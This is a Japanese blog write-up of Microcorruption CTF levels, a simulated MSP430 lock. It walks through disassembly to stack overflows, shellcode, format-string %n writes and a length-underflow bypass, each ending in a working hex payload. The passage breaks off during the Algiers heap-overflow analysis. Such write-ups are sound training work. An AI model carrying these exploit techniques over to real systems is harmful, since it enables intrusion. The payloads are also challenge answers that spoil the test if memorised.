レガシーガジェット研究所

気になったことのあれこれ。

Write up for microcorruption.com

概要

以下の常設CTFのWirte Upとなる。 https://microcorruption.com

この問題を解くときに大変重要になってくるマニュアルをURLは以下に示す。 システムコールやページングの処理、アセンブリ命令等に関する情報が記載されている。 https://microcorruption.com/manual.pdf

Tutorial

これは単にデバッガの動作を覚えるためのものでチュートリアルに従っていき最後に"password"と入力してクリア

New Orleans

create_passwordという関数で入力値を1文字ずつ順に比較している箇所が存在するのでその比較対象文字列を抜き出す。

447e <create_password>
447e:  3f40 0024      mov   #0x2400, r15
4482:  ff40 6900 0000 mov.b #0x69, 0x0(r15)
4488:  ff40 2f00 0100 mov.b #0x2f, 0x1(r15)
448e:  ff40 7600 0200 mov.b #0x76, 0x2(r15)
4494:  ff40 3600 0300 mov.b #0x36, 0x3(r15)
449a:  ff40 7700 0400 mov.b #0x77, 0x4(r15)
44a0:  ff40 3600 0500 mov.b #0x36, 0x5(r15)
44a6:  ff40 3e00 0600 mov.b #0x3e, 0x6(r15)
44ac:  cf43 0700      mov.b #0x0, 0x7(r15)
44b0:  3041           ret

抜き出すと以下の7文字だったので

0x69 0x2f 0x76 0x36 0x77 0x36 0x3e

以下がフラグ(16進数)となる。

692f763677363e

Sydney

check_passwordという関数内部で文字列を比較している箇所があったのでそれを元に考える。

448a <check_password>
448a:  bf90 744b 0000 cmp   #0x4b74, 0x0(r15)
4490:  0d20           jnz   $+0x1c
4492:  bf90 6c3a 0200 cmp   #0x3a6c, 0x2(r15)
4498:  0920           jnz   $+0x14
449a:  bf90 2378 0400 cmp   #0x7823, 0x4(r15)
44a0:  0520           jne   #0x44ac <check_password+0x22>
44a2:  1e43           mov   #0x1, r14
44a4:  bf90 2f28 0600 cmp   #0x282f, 0x6(r15)
44aa:  0124           jeq   #0x44ae <check_password+0x24>
44ac:  0e43           clr   r14
44ae:  0f4e           mov   r14, r15
44b0:  3041           ret

cmp命令を箇所で入力値を検証しているようだ。 (以下抜粋)

448a:  bf90 744b 0000 cmp    #0x4b74, 0x0(r15)
4492:  bf90 6c3a 0200 cmp   #0x3a6c, 0x2(r15)
449a:  bf90 2378 0400 cmp   #0x7823, 0x4(r15)
44a4:  bf90 2f28 0600 cmp   #0x282f, 0x6(r15)

上記の比較値からリトルエンディアンを考慮し以下がフラグ(16進数)となる。

744b6c3a23782f28

Hanoi

実行するとパスワードがなんであれ以下のような出力になることがわかった。

Enter the password to continue.
Remember: passwords are between 8 and 16 characters.
Testing if password is valid.
That password is not correct.

上記の出力を見ると以下のアセンブリ内のアドレス4556まで処理進むことがわかる。

4544:  b012 5444      call   #0x4454 <test\_password\_valid>
4548:  0f93           tst   r15
454a:  0324           jz    $+0x8
454c:  f240 1b00 1024 mov.b #0x1b, &0x2410
4552:  3f40 d344      mov   #0x44d3 "Testing if password is valid.", r15
4556:  b012 de45      call  #0x45de <puts>
455a:  f290 9100 1024 cmp.b #0x91, &0x2410
4560:  0720           jne   #0x4570 <login+0x50>
4562:  3f40 f144      mov   #0x44f1 "Access granted.", r15
4566:  b012 de45      call  #0x45de <puts>
456a:  b012 4844      call  #0x4448 <unlock_door>

よって次の命令である以下の命令から評価されるのだが、アドレス455aの比較命令で同値となって場合unlock_door関数が呼ばれる。

455a:  f290 9100 1024 cmp.b  #0x91, &0x2410
4560:  0720           jne   #0x4570 <login+0x50>
4562:  3f40 f144      mov   #0x44f1 "Access granted.", r15
4566:  b012 de45      call  #0x45de <puts>
456a:  b012 4844      call  #0x4448 <unlock_door>

上記の比較命令を見ると入力値を17文字目が0x91と比較されているのがわかる。 17文字目を当該値するとunlock_door関数が呼ばれることがわかったので入力値になるフラグ(16進数)は以下となる。

4141414141414141414141414141414191

Cusco

入力値に対してファジングを行うとバッファオーバーフローが起こることがわかった。

以下はレジスタのダンプ

pc  7271  sp  4400  sr  0010  cg  0000
r04 0000  r05 5a08  r06 0000  r07 0000
r08 0000  r09 0000  r10 0000  r11 0000
r12 0000  r13 0000  r14 0000  r15 0000

以下はメモリダンプの抜粋。

43e0:   5645 0300 ca45 0000 0a00 0000 3a45 6162   VE...E......:Eab
43f0:   6364 6566 6768 696a 6b6c 6d6e 6f70 7172   cdefghijklmnopqr
4400:   7374 7500 1542 5c01 75f3 35d0 085a 3f40   stu..B\\.u.5..Z?@

プログラムカウンタを見ると17文字目の値が格納されていることがわかるので、当該箇所に任意のアドレスにセットしたいと思う。 今回はunlock_doorという関数が用意されているので当該関数のアドレスをセットする。(ダンプは以下)

4528:  b012 4644      call   #0x4446 <unlock_door>

トルエンディアンを考慮し入力値すなわちフラグ(16進数)は以下となる。

414141414141414141414141414141414644

Johannesburg

まずファジングを行う。

Enter the password to continue.
Remember: passwords are between 8 and 16 characters.
That password is not correct.
Invalid Password Length: password too long.

しっかりと制限されているようだ。 次にバイナリを見ていく。

455c:  0f41           mov    sp, r15
455e:  b012 5244      call  #0x4452 <test\_password\_valid>
4562:  0f93           tst   r15
4564:  0524           jz    #0x4570 <login+0x44>
4566:  b012 4644      call  #0x4446 <unlock_door>
456a:  3f40 d144      mov   #0x44d1 "Access granted.", r15
456e:  023c           jmp   #0x4574 <login+0x48>
4570:  3f40 e144      mov   #0x44e1 "That password is not correct.", r15
4574:  b012 f845      call  #0x45f8 <puts>
4578:  f190 1400 1100 cmp.b #0x14, 0x11(sp)
457e:  0624           jeq   #0x458c <login+0x60>
4580:  3f40 ff44      mov   #0x44ff "Invalid Password Length: password too long.", r15
4584:  b012 f845      call  #0x45f8 <puts>
4588:  3040 3c44      br    #0x443c <\_\_stop\_progExec__>
458c:  3150 1200      add   #0x12, sp
4590:  3041           ret

上記をよく見ると"That password is not correct."と表示した後に0x4578でスタックの18番目を0x14と比較しており、そこを抜けるとステータスフラグでプログラムを強制終了するstop_progExec関数を回避することができる。 そしてデバッグしていくとretアドレスにはスタックの19 ~ 20番目の値がくるのがわかったので以下の方針で攻撃コード組んでいく。

  • まず1 ~ 17番目までは適当な文字列で埋める。
  • 18番目に条件分岐をクリアできる0x14をセット。
  • そしてリターンアドレスとなる値、ここではunlock_doorのアドレスである0x4446を19 ~ 20番目にセット

上記の攻撃方針で作成したのが以下となり、フラグとなる。

6161616161616161616161616161616161144644

Reykjavik

main関数内でenc関数が呼ばれているのだが当該関数がメモリ上のスタックに命令を展開しているよう。

4438 <main>
4438:  3e40 2045      mov   #0x4520, r14
443c:  0f4e           mov   r14, r15
443e:  3e40 f800      mov   #0xf8, r14
4442:  3f40 0024      mov   #0x2400, r15
4446:  b012 8644      call  #0x4486 <enc>
444a:  b012 0024      call  #0x2400
444e:  0f43           clr   r15

current instructionの個所を見ていくと比較命令が現れる。

b490 8b40 dcff
cmp #0x408b, -0x24(r4)

-0x24(r4)は入力値の先頭を指しているのでリトルエンディアンに考慮してフラグは以下のようになる。

8b40

Whitehorse

パスワードに長めの文字列長で入力を与えるとバッファオーバーフローを起こしインストラクションポインタに入力値の一部が入る。 入力値から計算すると17~18バイト目の値がインストラクションポインタにきているようなので任意の値に書き換える。

ただ今回はunlook_doorなどの関数が存在しないので入力値としてスタック上にシェルコードを広げ17~18バイト目に入力値の先頭アドレスを渡すことでインストラクションポインタをシェルコードの先頭に移し任意の処理を実行したいと思う。

実行するのはドアを解錠する命令である以下になる。

3012 7f00      push  #0x7f
b012 3245      call #0x4532 <INT>

入力値が格納されるメモリアドレスは以下。

30d0:   0000 0000 0000 0000 0000 0000 4645 0000   ............FE..
30e0:   9045 0200 ea30 3000 1245 6161 6161 6161   .E...00..Eaaaaaa
30f0:   6161 6161 6161 6161 6161 6161 6161 6161   aaaaaaaaaaaaaaaa
3100:   6161 6161 6161 6161 6161 6161 6161 6161   aaaaaaaaaaaaaaaa
3110:   6161 6161 6161 6161 6161 0000 0000 0000   aaaaaaaaaa......

上記を見ると先頭が0x30eaにきていることがわかる。

これらを踏まえると攻撃コードは以下になる。

30127f00b01232454141414141414141ea30

Montevideo

先ほどと同様にバッファオーバーフロー脆弱性が存在するようだ。(長めの入力値を与えた そして先ほどと同じく17~18バイト目に入力値がきている。

入力値が入るメモリアドレスを調べる。

43e0:   6045 0300 d445 0000 0a00 0000 4445 6162   `E...E......DEab
43f0:   6364 6566 6768 696a 6b6c 6d6e 6f70 7172   cdefghijklmnopqr
4400:   7374 7576 7778 797a 00f3 35d0 085a 3f40   stuvwxyz..5..Z?@

0x43eeからだということがわかったのでそこを始点に命令を展開することにする。

今回もunlock_door等の関数は存在しないので以下の命令を実行する。

3012 7f00      push  #0x7f
b012 3245      call #0x4532 <INT>

スタック上に命令を展開しインストラクションポインタを移した後、上記のシェルコードを実行する。

これらを踏まえると攻撃コードは以下のようになる。

30127f00b01232454141414141414141ee43

だが上記を実行しても攻撃コードは走らなかった。

43e0:   6045 0300 d445 0000 0a00 0000 4445 3012   `E...E......DE0.
43f0:   7f00 0000 0000 0000 0000 0000 0000 3c44   .............<D

上記のメモリに展開された入力値の始点である0x43eeから見ていくとわかるのだが、7fを最後に入力値が途切れてしまっている。 これはなぜかというと入力文字列に一度strcpy関数をかけており、攻撃コード内にあるNullバイト(0x00)で関数が終了してしまうためである。

これでは上記のようなNullバイトを含むシェルコードは実行できないのでNullバイトを含まないシェルコードを考える。 そしてできたのが以下。

3f40 0x**      mov   #0x**, r15
6e4f           mov.b    @r15, r14
0e12           push r14
b012 4c45      call #0x454c <INT>

1行目では任意の値をr15に格納する。これは実際に取得したい値が入っているアドレス番地を指定。 2行目では格納した値をアドレス値として当該番指定アドレス番地に存在する値をr14に格納する。 3行でr14を関数の引数として用いるためプッシュし4行目でシステムコールを呼ぶ。

3f40fd436e4f0e12b0124c457f7f7f7fee43

Santa Cruz

ファジングを行うと妙なことに気づいた。 実行結果は以下。

Authentication now requires a username and password.
Remember: both are between 8 and 16 characters.
Please enter your username:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Please enter your password:
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
Invalid Password Length: password too short.

ユーザ名及びパスワードは8~16文字と書かれているにも関わらずそれ以上の文字列が出力されており 且つ"password too short"と出ているここに実装のミスが垣間見える。

上記からもう一点わかることがある。 それはユーザ名の入力に対して文字列長のチェックが入っていないことである。

加えて今回はunlock_door(0x444a)という関数が存在しリターンアドレスやシェルコードを展開する際は使用できることがわかる。

上記をふまえた上でバイナリを読んでいく。

まず最初の入力文字列長の確認はパスワード文字列に対して行われる。 (以下当該箇所の抜粋)

45d2:  0e44           mov    r4, r14
45d4:  3e50 e8ff      add   #0xffe8, r14
45d8:  1e53           inc   r14
45da:  ce93 0000      tst.b 0x0(r14)
45de:  fc23           jnz   #0x45d8 <login+0x88> # 入力文字列長を算出
45e0:  0b4e           mov   r14, r11
45e2:  0b8f           sub   r15, r11
45e4:  5f44 e8ff      mov.b -0x18(r4), r15
45e8:  8f11           sxt   r15
45ea:  0b9f           cmp   r15, r11 # 入力文字列が16文字以上でないか
45ec:  0628           jnc   #0x45fa <login+0xaa>
45ee:  1f42 0024      mov   &0x2400, r15
45f2:  b012 2847      call  #0x4728 <puts>
45f6:  3040 4044      br    #0x4440 <\_\_stop\_progExec__>
45fa:  5f44 e7ff      mov.b -0x19(r4), r15
45fe:  8f11           sxt   r15
4600:  0b9f           cmp   r15, r11 # 入力文字列が8文字以下でないか
4602:  062c           jc    #0x4610 <login+0xc0>
4604:  1f42 0224      mov   &0x2402, r15
4608:  b012 2847      call  #0x4728 <puts>
460c:  3040 4044      br    #0x4440 <\_\_stop\_progExec__>
4610:  c443 d4ff      mov.b #0x0, -0x2c(r4)

上記ではまず0x45d2 ~ 0x45daまでで入力文字列長を算出している。 そして算出した文字列長を最長文字列長を超えていないか、及び最低文字列長未満でないかを0x45e4 ~ 0x45ea、及び0x45fe ~ 0x4600で調べている。 (文字列長が不正だった場合はステータスフラグの特定のビットを立てられプログラムが強制終了してしまう)

ここでその入力文字列の制限に使用している値はメモリ上にあり(0x43b3, 0x43b4)、ユーザ名の入力文字列長の書き換えられることがわかる。 (以下メモリダンプの抜粋)

4390:   0000 d846 0300 4c47 0000 0a00 0000 d045   ...F..LG.......E
43a0:   0000 7361 6d70 6c65 2d75 7365 726e 616d   ..sample-usernam
43b0:   6500 0008 1073 616d 706c 652d 7061 7373   e....sample-pass
43c0:   776f 7264 0000 0000 0000 0000 4044 0000   word........@D..

上記からユーザ名の18 ~ 19文字目で上書きすることができることがわかった。

次にドアの開錠を行っている処理を周りをみていく。

4614:  3f40 d4ff      mov    #0xffd4, r15
4618:  0f54           add   r4, r15
461a:  0f12           push  r15
461c:  0f44           mov   r4, r15
461e:  3f50 e9ff      add   #0xffe9, r15
4622:  0f12           push  r15
4624:  3f50 edff      add   #0xffed, r15
4628:  0f12           push  r15
462a:  3012 7d00      push  #0x7d
462e:  b012 c446      call  #0x46c4 <INT>
4632:  3152           add   #0x8, sp
4634:  c493 d4ff      tst.b -0x2c(r4)
4638:  0524           jz    #0x4644 <login+0xf4>
463a:  b012 4a44      call  #0x444a <unlock_door>
463e:  3f40 2145      mov   #0x4521 "Access granted.", r15
4642:  023c           jmp   #0x4648 <login+0xf8>
4644:  3f40 3145      mov   #0x4531 "That password is not correct.", r15
4648:  b012 2847      call  #0x4728 <puts>
464c:  c493 faff      tst.b -0x6(r4)
4650:  0624           jz    #0x465e <login+0x10e>
4652:  1f42 0024      mov   &0x2400, r15
4656:  b012 2847      call  #0x4728 <puts>
465a:  3040 4044      br    #0x4440 <\_\_stop\_progExec__>
465e:  3150 2800      add   #0x28, sp
4662:  3441           pop   r4
4664:  3b41           pop   r11
4666:  3041           ret

ここではまず0x4614 ~ 0x462eでユーザ名及びパスワードを引数にドアの開錠を行う用のシステムコールを呼んでいる。 だが当該システムコールではユーザ名とパスワードを正規のものと一致させる必要がありここではドアの開錠は不可能となる。

そして0x4632 ~ 0x4938だが、ここが少し厄介でパスワードの18文字目がNull文字であるかを確認している。 入力文字列はすべてstrcpy関数でメモリにコピーされるためNull文字を含めて上記の検査を回避することが不可能になる。 ユーザ名やパスワードに長い文字列を用いてリターンアドレスを書き換えてもここで検査されてしまっては処理が止まってしまう。 (ここでも不正と判断された場合は前述と同じ方法を用いてプログラムが強制終了させられてしまう)

ちなみにリターンアドレスの位置はユーザ名の43 ~ 44文字目になる。

4390:   0000 d846 0300 4c47 0000 0a00 0000 d045   ...F..LG.......E
43a0:   0000 7361 6d70 6c65 2d75 7365 726e 616d   ..sample-usernam
43b0:   6500 0008 1073 616d 706c 652d 7061 7373   e....sample-pass
43c0:   776f 7264 0000 0000 0000 0000 4044 0000   word........@D..

上記のことを踏まえ以下の流れで攻撃が成立するように攻撃コードを作成した。

  • 最初の入力、すなわち文字列長検査のないユーザ名の入力でパスワードの文字列長検査に用いられる値(1, 255 ※00にしてしまうとNullとなりstrcpyで入力がきれてしまうため)及びリターンアドレス(0x463a ※unlock_doorがcallされているアドレス)を書き換える。
  • 上記の入力でパスワードの文字列検査を突破する。
  • そしてパスワード入力を17文字とし、strcpyの際18文字目にNull文字を配置してもらう。
  • 上記の処理によってパスワードの18文字目がNullであることの検査を突破する。
  • そして最後login関数を抜ける際に先ほど書き換えたリターンアドレス(unlock_door関数)がプログラムカウンタに格納されドアが開錠される。

上記をふまえると攻撃コードは以下のようになる。

ユーザ名:414141414141414141414141414141414101ff41414141414141414141414141414141414141414141413a46
パスワード4141414141414141414141414141414141

※リトルエンディアンであることと入力文字列のどの位置に何の値がくるかは前述してある通りである。

Addis Ababa

手始めにファジングを行う 出力結果は以下。

Login with username:password below to authenticate.
>> AAAAAAAAAAAAAAAAAAA
That entry is not valid.

メモリのダンプは以下となる。

2400:   4141 4141 4141 4141 4141 4141 4141 4141   AAAAAAAAAAAAAAAA
2410:   4141 4100 0000 0000 0000 0000 0000 0000   AAA.............

入力文字列は100文字入力したのにも関わらず、メモリ及び出力結果は19文字となった。 どこかで制限がされているのだろう。 バイナリを見ていく。

まず気になったのは以下の箇所。

4440:  3012 e644      push   #0x44e6 "Login with username:password below to authenticate.\\n"
4444:  b012 c845      call  #0x45c8 <printf>
4448:  b140 1b45 0000 mov   #0x451b ">> ", 0x0(sp)
444e:  b012 c845      call  #0x45c8 <printf>
4452:  2153           incd  sp
4454:  3e40 1300      mov   #0x13, r14
4458:  3f40 0024      mov   #0x2400, r15
445c:  b012 8c45      call  #0x458c <getsn>
4460:  0b41           mov   sp, r11
4462:  2b53           incd  r11
4464:  3e40 0024      mov   #0x2400, r14
4468:  0f4b           mov   r11, r15
446a:  b012 de46      call  #0x46de <strcpy>
446e:  3f40 0024      mov   #0x2400, r15
4472:  b012 b044      call  #0x44b0 <test\_password\_valid>
4476:  814f 0000      mov   r15, 0x0(sp)
447a:  0b12           push  r11
447c:  b012 c845      call  #0x45c8 <printf>

0x4454 ~ 0x445cでユーザ入力を受け、その後入力された文字列を0x2400にコピーする。 コピーした文字列を引数にtest_password関数で、ユーザ名及びパスワードをチェックする。 気になったのはその後でユーザが入力した文字列をそのままprintf関数で表示している。 これは書式文字列攻撃の脆弱性を生むパターンである。

ファジングで書式文字列攻撃が可能かを調査する。 入力文字列は"%x,%x,%x"で、出力結果は以下となった。

Login with username:password below to authenticate.
>> ,7825,252c
That entry is not valid.

上記を見ると攻撃が成功しているのがわかる。 次に書式文字列で表示された文字列がスタックのどこに位置するかを調べる。 文字列として"ABCDEF%x,%x,%x"を渡した結果は以下。

Login with username:password below to authenticate.
>> ABCDEF,4241,4443
That entry is not valid.

1つ目の%xは表示されず、2つ目の%xで4241、つまり"AB"が来ていることがわかる。 すなわち最初の2バイトに指定するアドレス、そして2番目の書式文字列に%nを指定することで 任意の場所に任意の値を書き込むことができる。 これを利用し条件分岐で使用されるを書き換える。

もう一度main関数を見る。

446e:  3f40 0024      mov    #0x2400, r15
4472:  b012 b044      call  #0x44b0 <test\_password\_valid>
4476:  814f 0000      mov   r15, 0x0(sp)
447a:  0b12           push  r11
447c:  b012 c845      call  #0x45c8 <printf>
4480:  2153           incd  sp
4482:  3f40 0a00      mov   #0xa, r15
4486:  b012 5045      call  #0x4550 <putchar>
448a:  8193 0000      tst   0x0(sp)
448e:  0324           jz    #0x4496 <main+0x5e>
4490:  b012 da44      call  #0x44da <unlock_door>
4494:  053c           jmp   #0x44a0 <main+0x68>
4496:  3012 1f45      push  #0x451f "That entry is not valid."
449a:  b012 c845      call  #0x45c8 <printf>
449e:  2153           incd  sp

上記を見ると0x448aで条件分岐が走っており、おそらくtest_password関数の結果が条件値に使用されるのだろう。 0x448aでブレークポイントを置いてメモリのダンプを見る。(以下)

4210:   0000 0000 0000 0000 4c45 0100 5e45 0000   ........LE..^E..
4220:   4600 4600 4446 0000 2842 0000 4c45 0100   F.F.DF..(B..LE..
4230:   5e45 0000 0a00 0a00 8a44 0000 4142 4344   ^E.......D..ABCD
4240:   4546 0000 0000 0000 0000 0000 0000 0000   EF..............

spの値は0x423aを指しており入力値の手前であることから入力値では書き換えられないことがわかる。

そこで先ほどの書式文字列攻撃を行う。 先ほどの実行結果では入力文字列の先頭はスタックの2番目に来ていたので、まず書き込み先のアドレスの2バイトを指定(0x423a)、そして必要のないスタックの1番目を指定するために%xを、そして最後に書き込むための書式文字列である%nを指定しスタックの2番目に対して書き込まれるため先ほど指定したアドレスに出力バイトの合計数(2)が書き込まれる。 すなわち書き込む文字列というのは以下のようになる。

"0x423a" + "%x" + "%n"

上記を16進数文字列にすると以下のようになり、フラグとなる。

3a422578256e

Jakarta

実行結果は以下。

Authentication requires a username and password.
Your username and password together may be no more than 32 characters.
Please enter your username:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Please enter your password:
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
Invalid Password Length: password too long.

上記を見ても適当な文字列でファジングを行っても特に問題はなく、ユーザ名及びパスワードは合計32文字に制限されている。

ではアセンブリのコードを読んでいく。 まずユーザ名入力の処理。

457e:  3e40 ff00      mov    #0xff, r14
4582:  3f40 0224      mov   #0x2402, r15
4586:  b012 b846      call  #0x46b8 <getsn>
458a:  3f40 0224      mov   #0x2402, r15
458e:  b012 c846      call  #0x46c8 <puts>
4592:  3f40 0124      mov   #0x2401, r15
4596:  1f53           inc   r15
4598:  cf93 0000      tst.b 0x0(r15)
459c:  fc23           jnz   #0x4596 <login+0x36>
459e:  0b4f           mov   r15, r11
45a0:  3b80 0224      sub   #0x2402, r11
45a4:  3e40 0224      mov   #0x2402, r14
45a8:  0f41           mov   sp, r15
45aa:  b012 f446      call  #0x46f4 <strcpy>
45ae:  7b90 2100      cmp.b #0x21, r11
45b2:  0628           jnc   #0x45c0 <login+0x60>
45b4:  1f42 0024      mov   &0x2400, r15
45b8:  b012 c846      call  #0x46c8 <puts>
45bc:  3040 4244      br    #0x4442 <\_\_stop\_progExec__>

入力文字列は0x457eを見るとわかる通りgetsn命令の引数の1つとなるr14に255を設定し最大入力文字長を制限している。 そして入力された文字列長を0x4592 ~ 0x45a0で算出し、調べた文字列長をr11レジスタに格納し0x45aeで32文字をオーバーしていないかをチェックしている。 ただここで気になったのは下位8ビットしか見ていないということ。 入力文字列は255文字までなのでまず繰り上がって下位8ビットが再度0x00に戻ることはないのだがわざわざ下位8ビットのみを比較するのはよくわからない。

次にパスワードの入力箇所を見ていく。

45c8:  3e40 1f00      mov    #0x1f, r14
45cc:  0e8b           sub   r11, r14
45ce:  3ef0 ff01      and   #0x1ff, r14
45d2:  3f40 0224      mov   #0x2402, r15
45d6:  b012 b846      call  #0x46b8 <getsn>
45da:  3f40 0224      mov   #0x2402, r15
45de:  b012 c846      call  #0x46c8 <puts>
45e2:  3e40 0224      mov   #0x2402, r14
45e6:  0f41           mov   sp, r15
45e8:  0f5b           add   r11, r15
45ea:  b012 f446      call  #0x46f4 <strcpy>
45ee:  3f40 0124      mov   #0x2401, r15
45f2:  1f53           inc   r15
45f4:  cf93 0000      tst.b 0x0(r15)
45f8:  fc23           jnz   #0x45f2 <login+0x92>
45fa:  3f80 0224      sub   #0x2402, r15
45fe:  0f5b           add   r11, r15
4600:  7f90 2100      cmp.b #0x21, r15
4604:  0628           jnc   #0x4612 <login+0xb2>
4606:  1f42 0024      mov   &0x2400, r15
460a:  b012 c846      call  #0x46c8 <puts>
460e:  3040 4244      br    #0x4442 <\_\_stop\_progExec__>

上記ではまず0x45c8 ~ 0x45ccで次にパスワードとして入力できる文字列を計算している。 31から先ほど入力した文字列長を引き最後に0x01ffとandを行うことで下位8ビットが残るので少なくともパスワードが1文字でも入力できるように処理している。 そして0x45ce ~ 0x45d6でパスワードの入力、0x45deでパスワード文字列を表示し、0c45e2 ~ 0x45eaで特定のメモリに文字列をコピーしている。 次に0x45ee ~ 0x4604で入力文字列の長さを算出し。先ほど同様に下位8ビットのみをチェックしている。

ここまでで気になったのはパスワードの文字列長をチェックする箇所で、31から入力文字列長を減算する箇所である。 もし仮に32文字を入力するとどうなるのだろうか。 実際にやってみると31 - 32で結果は-1となりアンダーフローが起こることで0xffffとなった。

上記を考慮し以下のような攻撃方針でエクスプロイトを組んでいく。 - まずユーザ名で32文字入力する。 - 上記ように31 - 32となり結果は0xffffとなる。この状態で0x01ffとandを行うので結果パスワードは511文字入力できるようになる。 - パスワードはほぼ自由な文字列長を入力できる状態なので、パスワード文字列の5~6文字目(ret命令でpcにアドレスとして入る値のアドレス)にセットし、ユーザ名文字列長+パスワード文字列長の下位8ビットが32以下になるように後ろの文字列を調節する。

上記のことを踏まえると攻撃コードは以下のようになる。

$ python -c "print('61'*32)"
6161616161616161616161616161616161616161616161616161616161616161"
$ python -c "print('62'*4 + '4c44' + '62'*234)"
626262624c44626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262

文字列長の合計は272文字となり下位8ビットは0b00010000で16となり32以下となる。 上記によりステータスフラグを用いて処理を停止させる処理には遷移せず攻撃が成功する。

Novosibirsk

まずファジング。

Enter your username below to authenticate.
>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
That username is not valid.

ユーザ名だけを確認しているのだろうか。 ではバイナリを見ていく。

さらっと見て気になったのが以下の個所。

4454:  3e40 f401      mov    #0x1f4, r14
4458:  3f40 0024      mov   #0x2400, r15
445c:  b012 8a45      call  #0x458a <getsn>
4460:  3e40 0024      mov   #0x2400, r14
4464:  0f44           mov   r4, r15
4466:  3f50 0afe      add   #0xfe0a, r15
446a:  b012 dc46      call  #0x46dc <strcpy>
446e:  3f40 0afe      mov   #0xfe0a, r15
4472:  0f54           add   r4, r15
4474:  0f12           push  r15
4476:  b012 c645      call  #0x45c6 <printf>

getsn関数で入力された文字列をそのまま出力しているので書式文字列攻撃の脆弱性が存在することがわかる。 では当該脆弱性を試してみる。

"%x,%x,%x,%x,%x,%x,%x"を入力した結果は以下。

Enter your username below to authenticate.
>> 7825,252c,2c78,7825,252c,2c78,7825
That username is not valid.

しっかりとスタックの値が表示されているのがわかる。 では当該脆弱性を使用し攻撃コード組んでいく。 今回はユーザ名のチェックに使用されているconditional_unlock_door関数の以下の個所を書き換えたいと思う。

44c6:  3012 7e00      push   #0x7e
44ca:  b012 3645      call  #0x4536 <INT>

上記ではシステムコールに0x7eが渡されているが、これでは引数のユーザ名が正しくある必要がある。 なので、引数を0x7fに書き換え無条件にドアをアンロックする。 引数の値は0x44c8に格納されているので、書き換えるアドレスは当該アドレスになる。

では上記を考慮し攻撃コードを組む。 まず最初の2バイトは書き換え先のアドレスである0x44c8をリトルエンディアンにしたもの、そして適当な文字列を125バイト分セットする。ここまでで127バイトすなわち0x7fバイト分出力されているのでこの後に%nを指定すると最初の2バイトの位置に127(0x7f)が書き込まれるという仕組みだ。 以下が攻撃コードとなり、フラグとなる。

c8446161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161256e

Algiers

実装されている関数の中にmallocが存在していることからheap over flowの脆弱性を考えることができる。 main関数から直接コールされるlogin関数を見る。

malloc関数をコールする際は引数に0x10に取り、当該サイズ分のヒープを確保する。(以下login関数内の抜粋)

463e:  3f40 1000      mov    #0x10, r15
4642:  b012 6444      call  #0x4464 <malloc>
4646:  0a4f           mov   r15, r10
4648:  3f40 1000      mov   #0x10, r15
464c:  b012 6444      call  #0x4464 <malloc>

に対し、ヒープ領域に展開されるユーザ入力を受け付けるためのgets関数は入力の最大サイズとして0x30を取っているためオーバーフローするのがわかる。(以下login関数内の抜粋)

4662:  3e40 3000      mov    #0x30, r14
4666:  0f4a           mov   r10, r15
4668:  b012 0a47      call  #0x470a <getsn>
466c:  3f40 c845      mov   #0x45c8, r15
4670:  b012 1a47      call  #0x471a <puts>
4674:  3f40 d445      mov   #0x45d4, r15
4678:  b012 1a47      call  #0x471a <puts>
467c:  3e40 3000      mov   #0x30, r14
4680:  0f4b           mov   r11, r15
4682:  b012 0a47      call  #0x470a <getsn>

攻撃の方針を立てるためにまずヒープ領域のダンプを見る。(以下ヒープ領域のダンプ)

2400:   0824 0010 0000 0000 0824 1e24 2100 0000   .$.......$.$!...
2410:   0000 0000 0000 0000 0000 0000 0000 0824   ...............$
2420:   3424 2100 0000 0000 0000 0000 0000 0000   4$!.............
2430:   0000 0000 1e24 0824 9c1f 0000 0000 0000   .....$.$........

上記ではわかりづらいので以下にダンプを表に示す。

real address prev pointer next pointer flag
0x2408 0x2408 0x241e 0x21
0x241e 0x2408 0x2434 0x21
0x2434 0x241e 0x2408 0x1f9c

上記のように双方向リストになっておりヒープ領域にはヘッダが存在する。

今回はheap overflowの脆弱性を用いてユーザ入力でヒープ領域をヘッダ等を含めて書き換え、そのヒープ領域を解放するために用いられるfree関数が書き換えられたヘッダ情報を参照させ任意のメモリアドレスに任意の値を書き込む。

では次にヒープ領域を解放するために使用されるfree関数の実装を見ていく。

4508:  0b12           push   r11
450a:  3f50 faff      add   #0xfffa, r15
450e:  1d4f 0400      mov   0x4(r15), r13
4512:  3df0 feff      and   #0xfffe, r13
4516:  8f4d 0400      mov   r13, 0x4(r15)
451a:  2e4f           mov   @r15, r14
451c:  1c4e 0400      mov   0x4(r14), r12
4520:  1cb3           bit   #0x1, r12
4522:  0d20           jnz   #0x453e <free+0x36>
4524:  3c50 0600      add   #0x6, r12
4528:  0c5d           add   r13, r12
452a:  8e4c 0400      mov   r12, 0x4(r14)
452e:  9e4f 0200 0200 mov   0x2(r15), 0x2(r14)
4534:  1d4f 0200      mov   0x2(r15), r13
4538:  8d4e 0000      mov   r14, 0x0(r13)
453c:  2f4f           mov   @r15, r15
453e:  1e4f 0200      mov   0x2(r15), r14
4542:  1d4e 0400      mov   0x4(r14), r13
4546:  1db3           bit   #0x1, r13
4548:  0b20           jnz   #0x4560 <free+0x58>
454a:  1d5f 0400      add   0x4(r15), r13
454e:  3d50 0600      add   #0x6, r13
4552:  8f4d 0400      mov   r13, 0x4(r15)
4556:  9f4e 0200 0200 mov   0x2(r14), 0x2(r15)
455c:  8e4f 0000      mov   r15, 0x0(r14)
4560:  3b41           pop   r11
4562:  3041           ret

